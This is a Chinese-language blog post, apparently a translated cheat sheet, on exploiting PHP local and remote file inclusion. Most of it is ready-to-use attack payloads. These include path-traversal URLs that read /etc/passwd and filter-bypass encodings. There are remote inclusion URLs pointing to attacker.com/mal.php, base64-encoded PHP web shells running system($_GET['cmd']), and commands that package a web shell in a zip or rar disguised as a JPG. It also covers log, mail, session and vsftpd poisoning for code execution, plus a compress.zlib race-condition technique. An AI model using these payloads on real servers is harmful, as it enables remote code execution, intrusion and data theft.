文件包含漏洞

1.文件包含漏洞概述

当用户以某种方式控制即将由服务器加载的文件时,就会出现漏洞。

  • 远程文件包含(RFI): 从远程服务器加载文件。在php中,默认情况下禁用此功能(allow_url_include
  • 本地文件包含(LFI): 服务器加载本地文件

易受攻击的PHP函数:require、require_once、include、include_once


2.文件包含漏洞fuzz字典

1、Linux系统字典

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

2、Windows系统字典

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt


3.LFI绕过

空字节 (%00)绕过

http://example.com/index.php?page=../../../etc/passwd%00

这个问题自 PHP 5.4 起已解决

编码绕过

您可以使用非标准编码,如双重 URL 编码(等等):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

后端检查文件夹路径绕过

也许后端正在检查文件夹路径,可以使用如下方法进行绕过:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

更改遍历序列

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

路径截断技术

路径截断是一种用于操纵Web应用程序中文件路径的方法。它经常被用来访问受限文件,通过绕过某些安全措施,这些措施会在文件路径末尾附加额外字符。其目标是构建一个文件路径,一旦被安全措施修改,仍然指向所需的文件。

Linux由于文件系统的特性,文件路径的各种表示可以被视为等效的,例如:

/etc/passwd/etc//passwd/etc/./passwd/etc/passwd/ 都被视为相同路径。

image.png


4.使用LFI漏洞探索文件系统

1、确定目录深度: 通过成功获取 /etc/passwd 文件(如果服务器基于Linux)来确定当前目录的深度。例如,URL 可能被构造如下,指示深度为三:

http://example.com/index.php?page=../../../etc/passwd

2、探测文件夹: 将疑似文件夹的名称(例如,private)附加到URL,然后导航回到 /etc/passwd。额外的目录级别需要将深度增加一级,此时的目录深度为四:

http://example.com/index.php?page=private/../../../../etc/passwd

此时解释结果,利用服务器的响应探测文件夹是否存在:

  • 错误 / 无输出: 文件夹 private 可能不存在于指定位置。
  • /etc/passwd 的内容: 确认存在 private 文件夹。

3、递归探索: 可以进一步探查已发现的文件夹,以查找子目录或文件,使用相同的技术或传统的本地文件包含(LFI)方法。

4、要在文件系统中不同位置探索目录,需要相应调整有效载荷。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),请使用:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

5.远程文件包含RFI

在 php 中,默认情况下会禁用远程文件包含这个功能,因为 allow_url_include 默认是 Off。它必须被设置为 On 才能工作,在这种情况下,你可以包含来自你的服务器的 PHP 文件并获得 RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

如果由于某种原因allow_url_include被设置为On,但PHP正在过滤对外部网页的访问,你可以使用数据协议与base64来解码一个base64 PHP代码并获得RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

最后添加 +.txt 是因为攻击者需要一个以 .txt 结尾的字符串,因此字符串以它结尾,在经过 base64 解码后,该部分将只返回垃圾内容,而真正的 PHP 代码将被包含

另一个示例不使用 php:// 协议的例子是:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

6.使用 PHP 包装器和协议的 LFI / RFI

PHP过滤器概述

PHP 过滤器允许在数据被读取或写入之前执行基本的修改操作。有 5 类过滤器:

1、字符串过滤器

  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 从数据中删除标签(位于 “<” 和 “>” 字符之间的所有内容)

2、转换过滤器

  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.*:转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台中运行:iconv -l

滥用 convert.iconv.* 转换过滤器,您可以生成任意文本,这可能对编写任意文本或执行包含过程中的任意文本很有用

3、压缩过滤器

  • zlib.deflate: 压缩内容(如果需要外泄大量信息,则很有用)
  • zlib.inflate: 解压数据

4、加密过滤器

  • mcrypt.*:已弃用
  • mdecrypt.*:已弃用

5、其他过滤器

  • 在 php 中运行 var_dump(stream_get_filters());,您可以找到一些意外的过滤器:
  • consumed
  • dechunk:反转 HTTP 分块编码
  • convert.*

php://fd

此包装器允许访问进程打开的文件描述符。可能有用于外泄已打开文件的内容:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdoutphp://stderr 来分别访问 文件描述符 0, 1 和 2

zip:// 和 rar://

此协议可以上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它

zip模式的攻击步骤如下:

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
# 之后构造文件包含payload如下:
http://example.com/index.php?page=zip://shell.jpg%23payload.php

rar模式的攻击步骤如下:

rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
# 之后构造文件包含payload如下:
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://伪协议可用于将数据直接嵌入到网页中,而无需通过HTTP请求。这种技术可用于利用文件包含漏洞,将恶意数据注入到受影响的网页中

此协议受 php 配置 allow_url_openallow_url_include 限制

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

expect://

Expect 必须被激活。之后可以使用以下方式执行代码:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

在POST参数中指定您的有效载荷:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

更多协议

检查更多可能的要包含的协议:


7.文件包含RCE的技巧

通过Apache/Nginx日志文件

如果Apache或Nginx服务器受到LFI的影响,您可以尝试包含/var/log/apache2/access.log/var/log/nginx/access.log日志文件达到命令执行的效果,在用户代理或GET参数中设置一个像<?php system($_GET['c']); ?>的php shell并包含该文件

如果您在shell中使用双引号而不是单引号,双引号将被修改为字符串“quote;”,PHP会在那里抛出错误,不会执行任何其他操作

其他可能的日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

通过电子邮件

发送一封邮件到内部账户 (user@localhost) 包含你的 PHP payload,例如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试通过路径如 /var/mail/<USERNAME>/var/spool/mail/<USERNAME> 包含到用户的邮件中

通过Zip文件上传

上传一个包含压缩的PHP shell的ZIP文件并访问:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 /proc/*/fd/*

上传大量的 shells (例如:100)
包含 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID (可以暴力破解),$FD 为文件描述符 (也可以暴力破解)

通过 PHP 会话

检查网站是否使用 PHP 会话(PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在PHP中,这些会话被存储在/var/lib/php5/sess_[PHPSESSID]文件中
将cookie设置为 <?php system('cat /etc/passwd');?>

接着使用本地文件包含(LFI)来包含PHP会话文件:

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在本地文件包含(LFI)漏洞且可以访问到暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:

  • 在登录过程中将 PHP 负载注入到用户名字段。
  • 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志以进行RCE利用。

通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露

使用协议 compress.zlib:// 和标志 PHP_STREAM_PREFER_STDIO 打开的文件可以继续将到达连接的数据写入同一文件

file_get_contents("compress.zlib://http://attacker.com/file")

这将发送一个请求,请求http://attacker.com/file,然后服务器可能会用一个有效的HTTP响应来回应该请求,保持连接打开,并在稍后发送额外数据,这些数据也会被写入文件。

CTF原题解题思路:

  • 攻击者将使受害者服务器打开一个连接,从攻击者服务器读取文件,使用compress.zlib协议。
  • 在这个连接存在的时候,攻击者将窃取临时文件的路径(被服务器泄露)。
  • 在连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件。
  • 然而,Web服务器中有一个检查,阻止加载包含 <? 的文件。因此,攻击者可以尝试竞争条件绕过。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含被禁止字符之后发送PHP有效载荷,但在加载其内容之前。

相关推荐

  1. 文件包含漏洞讲解

    2024-06-07 04:18:05       69 阅读
  2. 文件包含漏洞

    2024-06-07 04:18:05       53 阅读
  3. 初探文件包含漏洞

    2024-06-07 04:18:05       45 阅读
  4. Xss文件包含漏洞

    2024-06-07 04:18:05       36 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-07 04:18:05       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-07 04:18:05       106 阅读
  3. 在Django里面运行非项目文件

    2024-06-07 04:18:05       87 阅读
  4. Python语言-面向对象

    2024-06-07 04:18:05       96 阅读

热门阅读

  1. flutter sdk升级之空安全启用

    2024-06-07 04:18:05       34 阅读
  2. C++容器之前向链表(std::forward_list)

    2024-06-07 04:18:05       33 阅读
  3. PDF文件处理不再复杂:9个Python库让一切变得简单

    2024-06-07 04:18:05       28 阅读
  4. 如何使用ChatGPT写出爆款自媒体短视频文案

    2024-06-07 04:18:05       34 阅读
  5. 嵌入式软件中static的用法

    2024-06-07 04:18:05       34 阅读
  6. 防抖和节流

    2024-06-07 04:18:05       32 阅读
  7. Android 各分区简介

    2024-06-07 04:18:05       29 阅读
  8. 分账能为电商平台带来哪些便捷?

    2024-06-07 04:18:05       28 阅读